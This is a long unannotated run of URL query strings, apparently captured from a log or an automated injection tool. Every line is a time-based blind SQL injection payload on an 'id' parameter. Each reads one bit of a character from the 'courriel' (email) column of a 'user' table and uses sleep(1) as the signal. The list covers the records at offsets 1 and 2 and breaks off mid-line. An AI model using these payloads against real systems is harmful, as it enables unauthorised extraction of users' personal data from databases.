/?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 9,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 9,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 9,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 9,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 9,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 10,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 10,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 10,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 10,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 10,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 10,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 10,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 10,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 11,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 11,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 11,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 11,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 11,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 11,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 11,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 11,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 12,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 12,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 12,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 12,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 12,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 12,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 12,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 12,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 13,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 13,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 13,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 13,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 13,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 13,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 13,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 13,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 14,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 14,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 14,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 14,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 14,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 14,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 14,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 14,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 15,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 15,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 15,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 15,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 15,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 15,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 15,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 15,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 16,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 16,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 16,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 16,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 16,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 16,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 16,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 16,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 17,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 17,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 17,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 17,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 17,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 17,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 17,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 17,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 18,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 18,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 18,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 18,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 18,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 18,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 18,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 18,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 19,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 19,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 19,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 19,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 19,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 19,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 19,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 19,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 20,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 20,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 20,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 20,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 20,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 20,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 20,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 20,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 21,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 21,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 21,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 21,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 21,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 21,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 21,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 21,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 22,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 22,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 22,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 22,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 22,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 22,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 22,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 22,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 23,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 23,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 23,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 23,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 23,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 23,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 23,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 23,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 24,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 24,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 24,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 24,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 24,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 24,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 24,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 24,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 25,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 25,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 25,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 25,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 25,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 25,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 25,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 25,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 26,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 26,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 26,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 26,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 26,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 26,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 26,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 26,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 27,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 27,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 27,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 27,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 27,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 27,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 27,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 1), 27,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 1,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 1,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 1,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 1,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 1,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 1,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 1,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 1,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 2,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 2,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 2,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 2,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 2,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 2,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 2,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 2,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 3,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 3,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 3,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 3,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 3,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 3,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 3,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 3,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 4,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 4,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 4,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 4,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 4,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 4,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 4,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 4,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 5,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 5,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 5,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 5,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 5,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 5,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 5,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 5,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 6,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 6,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 6,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 6,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 6,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 6,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 6,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 6,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 7,1))),8,'0'), 1, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 7,1))),8,'0'), 2, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 7,1))),8,'0'), 3, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 7,1))),8,'0'), 4, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 7,1))),8,'0'), 5, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 7,1))),8,'0'), 6, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 7,1))),8,'0'), 7, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 1 offset 2), 7,1))),8,'0'), 8, 1) = '0'), sleep(1), 0) /?id=1-if((substring(lpad(bin(ascii(substring((select courriel from user limit 